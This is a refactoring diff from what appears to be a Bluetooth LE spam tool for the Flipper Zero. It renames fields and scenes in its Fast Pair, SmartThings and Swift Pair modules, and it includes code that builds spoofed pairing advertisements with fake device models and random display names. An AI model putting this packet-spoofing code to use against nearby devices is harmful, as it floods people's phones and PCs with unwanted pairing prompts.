bool found = false;
|
||||
submenu_reset(submenu);
|
||||
|
||||
submenu_add_item(submenu, "Random", 0, model_id_callback, ctx);
|
||||
if(cfg->model_id == 0x000000) {
|
||||
submenu_add_item(submenu, "Random", 0, model_callback, ctx);
|
||||
if(cfg->model == 0x000000) {
|
||||
found = true;
|
||||
selected = 0;
|
||||
}
|
||||
for(uint8_t i = 0; i < models_count; i++) {
|
||||
submenu_add_item(submenu, models[i].name, i + 1, model_id_callback, ctx);
|
||||
if(!found && cfg->model_id == models[i].id) {
|
||||
submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
|
||||
if(!found && cfg->model == models[i].value) {
|
||||
found = true;
|
||||
selected = i + 1;
|
||||
}
|
||||
}
|
||||
submenu_add_item(submenu, "Custom", models_count + 1, model_id_callback, ctx);
|
||||
submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
|
||||
if(!found) {
|
||||
found = true;
|
||||
selected = models_count + 1;
|
||||
@@ -194,44 +193,44 @@ void scene_fastpair_model_id_on_enter(void* _ctx) {
|
||||
|
||||
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
||||
}
|
||||
bool scene_fastpair_model_id_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
UNUSED(_ctx);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
void scene_fastpair_model_id_on_exit(void* _ctx) {
|
||||
void scene_fastpair_model_on_exit(void* _ctx) {
|
||||
UNUSED(_ctx);
|
||||
}
|
||||
|
||||
static void model_id_custom_callback(void* _ctx) {
|
||||
static void model_custom_callback(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
}
|
||||
void scene_fastpair_model_id_custom_on_enter(void* _ctx) {
|
||||
void scene_fastpair_model_custom_on_enter(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
|
||||
ByteInput* byte_input = ctx->byte_input;
|
||||
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model ID");
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model Code");
|
||||
|
||||
ctx->byte_store[0] = (cfg->model_id >> 0x10) & 0xFF;
|
||||
ctx->byte_store[1] = (cfg->model_id >> 0x08) & 0xFF;
|
||||
ctx->byte_store[2] = (cfg->model_id >> 0x00) & 0xFF;
|
||||
ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
|
||||
ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
|
||||
ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
|
||||
|
||||
byte_input_set_result_callback(
|
||||
byte_input, model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
|
||||
byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
|
||||
|
||||
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
||||
}
|
||||
bool scene_fastpair_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
UNUSED(_ctx);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
void scene_fastpair_model_id_custom_on_exit(void* _ctx) {
|
||||
void scene_fastpair_model_custom_on_exit(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
|
||||
cfg->model_id =
|
||||
cfg->model =
|
||||
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
|
||||
|
||||
typedef struct {
|
||||
uint32_t model_id;
|
||||
uint32_t model;
|
||||
} FastpairCfg;
|
||||
|
||||
extern const Protocol protocol_fastpair;
|
||||
|
||||
@@ -1,2 +1,2 @@
|
||||
ADD_SCENE(fastpair_model_id, FastpairModelId)
|
||||
ADD_SCENE(fastpair_model_id_custom, FastpairModelIdCustom)
|
||||
ADD_SCENE(fastpair_model, FastpairModel)
|
||||
ADD_SCENE(fastpair_model_custom, FastpairModelCustom)
|
||||
|
||||
@@ -44,9 +44,9 @@ const struct {
|
||||
{0x07, "Black Watch4 40mm"},
|
||||
{0x08, "White Watch4 40mm"},
|
||||
{0x09, "Gold Watch4 40mm"},
|
||||
{0x0a, "French Watch4"},
|
||||
{0x0b, "French Watch4 Classic"},
|
||||
{0x0c, "Fox Watch5 44mm"},
|
||||
{0x0A, "French Watch4"},
|
||||
{0x0B, "French Watch4 Classic"},
|
||||
{0x0C, "Fox Watch5 44mm"},
|
||||
{0x11, "Black Watch5 44mm"},
|
||||
{0x12, "Sapphire Watch5 44mm"},
|
||||
{0x13, "Purpleish Watch5 40mm"},
|
||||
@@ -55,16 +55,16 @@ const struct {
|
||||
{0x16, "Gray Watch5 Pro 45mm"},
|
||||
{0x17, "White Watch5 44mm"},
|
||||
{0x18, "White & Black Watch5"},
|
||||
{0x1b, "Black Watch6 Pink 40mm"},
|
||||
{0x1c, "Gold Watch6 Gold 40mm"},
|
||||
{0x1d, "Silver Watch6 Cyan 44mm"},
|
||||
{0x1e, "Black Watch6 Classic 43mm"},
|
||||
{0x1B, "Black Watch6 Pink 40mm"},
|
||||
{0x1C, "Gold Watch6 Gold 40mm"},
|
||||
{0x1D, "Silver Watch6 Cyan 44mm"},
|
||||
{0x1E, "Black Watch6 Classic 43mm"},
|
||||
{0x20, "Green Goofy"},
|
||||
{0x1a, "Fallback Watch"},
|
||||
{0x1A, "Fallback Watch"},
|
||||
};
|
||||
const uint8_t watch_models_count = COUNT_OF(watch_models);
|
||||
|
||||
static const char* type_names[SmartthingsTypeMAX] = {
|
||||
static const char* type_names[SmartthingsTypeCOUNT] = {
|
||||
[SmartthingsTypeBuds] = "SmartThings Buds",
|
||||
[SmartthingsTypeWatch] = "SmartThings Watch",
|
||||
};
|
||||
@@ -73,7 +73,7 @@ static const char* smartthings_get_name(const ProtocolCfg* _cfg) {
|
||||
return type_names[cfg->type];
|
||||
}
|
||||
|
||||
static uint8_t packet_sizes[SmartthingsTypeMAX] = {
|
||||
static uint8_t packet_sizes[SmartthingsTypeCOUNT] = {
|
||||
[SmartthingsTypeBuds] = 31,
|
||||
[SmartthingsTypeWatch] = 15,
|
||||
};
|
||||
@@ -84,7 +84,7 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot
|
||||
if(cfg) {
|
||||
type = cfg->type;
|
||||
} else {
|
||||
type = rand() % SmartthingsTypeMAX;
|
||||
type = rand() % SmartthingsTypeCOUNT;
|
||||
}
|
||||
|
||||
uint8_t size = packet_sizes[type];
|
||||
@@ -121,12 +121,12 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot
|
||||
packet[i++] = 0x06;
|
||||
packet[i++] = 0x3C;
|
||||
packet[i++] = 0x94;
|
||||
packet[i++] = 0x8e;
|
||||
packet[i++] = 0x8E;
|
||||
packet[i++] = 0x00;
|
||||
packet[i++] = 0x00;
|
||||
packet[i++] = 0x00;
|
||||
packet[i++] = 0x00;
|
||||
packet[i++] = 0xc7;
|
||||
packet[i++] = 0xC7;
|
||||
packet[i++] = 0x00;
|
||||
|
||||
packet[i++] = 16; // Size
|
||||
@@ -237,8 +237,8 @@ static void smartthings_extra_config(Ctx* ctx) {
|
||||
|
||||
switch(cfg->type) {
|
||||
case SmartthingsTypeBuds: {
|
||||
item =
|
||||
variable_item_list_add(list, "Model", buds_models_count + 1, buds_model_changed, cfg);
|
||||
item = variable_item_list_add(
|
||||
list, "Model Code", buds_models_count + 1, buds_model_changed, cfg);
|
||||
const char* model_name = NULL;
|
||||
char model_name_buf[9];
|
||||
if(cfg->data.buds.model == 0x000000) {
|
||||
@@ -264,7 +264,7 @@ static void smartthings_extra_config(Ctx* ctx) {
|
||||
}
|
||||
case SmartthingsTypeWatch: {
|
||||
item = variable_item_list_add(
|
||||
list, "Model", watch_models_count + 1, watch_model_changed, cfg);
|
||||
list, "Model Code", watch_models_count + 1, watch_model_changed, cfg);
|
||||
const char* model_name = NULL;
|
||||
char model_name_buf[3];
|
||||
if(cfg->data.watch.model == 0x00) {
|
||||
@@ -368,7 +368,7 @@ void scene_smartthings_buds_model_custom_on_enter(void* _ctx) {
|
||||
SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings;
|
||||
ByteInput* byte_input = ctx->byte_input;
|
||||
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model");
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model Code");
|
||||
|
||||
ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
|
||||
ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
|
||||
@@ -457,7 +457,7 @@ void scene_smartthings_watch_model_custom_on_enter(void* _ctx) {
|
||||
SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings;
|
||||
ByteInput* byte_input = ctx->byte_input;
|
||||
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model");
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model Code");
|
||||
|
||||
ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
typedef enum {
|
||||
SmartthingsTypeBuds,
|
||||
SmartthingsTypeWatch,
|
||||
SmartthingsTypeMAX,
|
||||
SmartthingsTypeCOUNT,
|
||||
} SmartthingsType;
|
||||
|
||||
typedef struct {
|
||||
|
||||
@@ -5,17 +5,16 @@
|
||||
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
||||
|
||||
static const char* swiftpair_get_name(const ProtocolCfg* _cfg) {
|
||||
const SwiftpairCfg* cfg = &_cfg->swiftpair;
|
||||
UNUSED(cfg);
|
||||
UNUSED(_cfg);
|
||||
return "SwiftPair";
|
||||
}
|
||||
|
||||
static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
|
||||
const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
|
||||
|
||||
const char* display_name;
|
||||
if(cfg && cfg->display_name[0] != '\0') {
|
||||
display_name = cfg->display_name;
|
||||
const char* name;
|
||||
if(cfg && cfg->name[0] != '\0') {
|
||||
name = cfg->name;
|
||||
} else {
|
||||
const char* names[] = {
|
||||
"Assquach💦",
|
||||
@@ -25,11 +24,11 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto
|
||||
"👉👌",
|
||||
"🔵🦷",
|
||||
};
|
||||
display_name = names[rand() % COUNT_OF(names)];
|
||||
name = names[rand() % COUNT_OF(names)];
|
||||
}
|
||||
uint8_t display_name_len = strlen(display_name);
|
||||
uint8_t name_len = strlen(name);
|
||||
|
||||
uint8_t size = 7 + display_name_len;
|
||||
uint8_t size = 7 + name_len;
|
||||
uint8_t* packet = malloc(size);
|
||||
uint8_t i = 0;
|
||||
|
||||
@@ -40,8 +39,8 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto
|
||||
packet[i++] = 0x03; // Microsoft Beacon ID
|
||||
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
|
||||
packet[i++] = 0x80; // Reserved RSSI Byte
|
||||
memcpy(&packet[i], display_name, display_name_len); // Display Name
|
||||
i += display_name_len;
|
||||
memcpy(&packet[i], name, name_len);
|
||||
i += name_len;
|
||||
|
||||
*_size = size;
|
||||
*_packet = packet;
|
||||
@@ -49,14 +48,14 @@ static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const Proto
|
||||
|
||||
enum {
|
||||
_ConfigExtraStart = ConfigExtraStart,
|
||||
ConfigDisplayName,
|
||||
ConfigName,
|
||||
};
|
||||
static void config_callback(void* _ctx, uint32_t index) {
|
||||
Ctx* ctx = _ctx;
|
||||
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
|
||||
switch(index) {
|
||||
case ConfigDisplayName:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairDisplayName);
|
||||
case ConfigName:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -67,8 +66,7 @@ static void swiftpair_extra_config(Ctx* ctx) {
|
||||
VariableItem* item;
|
||||
|
||||
item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
|
||||
variable_item_set_current_value_text(
|
||||
item, cfg->display_name[0] != '\0' ? cfg->display_name : "Random");
|
||||
variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random");
|
||||
|
||||
variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
|
||||
|
||||
@@ -82,11 +80,11 @@ const Protocol protocol_swiftpair = {
|
||||
.extra_config = swiftpair_extra_config,
|
||||
};
|
||||
|
||||
static void display_name_callback(void* _ctx) {
|
||||
static void name_callback(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
}
|
||||
void scene_swiftpair_display_name_on_enter(void* _ctx) {
|
||||
void scene_swiftpair_name_on_enter(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
|
||||
TextInput* text_input = ctx->text_input;
|
||||
@@ -95,17 +93,17 @@ void scene_swiftpair_display_name_on_enter(void* _ctx) {
|
||||
text_input_set_header_text(text_input, "Leave empty for random");
|
||||
|
||||
text_input_set_result_callback(
|
||||
text_input, display_name_callback, ctx, cfg->display_name, sizeof(cfg->display_name), true);
|
||||
text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
|
||||
|
||||
text_input_set_minimum_length(text_input, 0);
|
||||
|
||||
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
|
||||
}
|
||||
bool scene_swiftpair_display_name_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
UNUSED(_ctx);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
void scene_swiftpair_display_name_on_exit(void* _ctx) {
|
||||
void scene_swiftpair_name_on_exit(void* _ctx) {
|
||||
UNUSED(_ctx);
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
||||
|
||||
typedef struct {
|
||||
char display_name[25];
|
||||
char name[25];
|
||||
} SwiftpairCfg;
|
||||
|
||||
extern const Protocol protocol_swiftpair;
|
||||
|
||||
@@ -1 +1 @@
|
||||
ADD_SCENE(swiftpair_display_name, SwiftpairDisplayName)
|
||||
ADD_SCENE(swiftpair_name, SwiftpairName)
|
||||
|
||||
Reference in New Issue
Block a user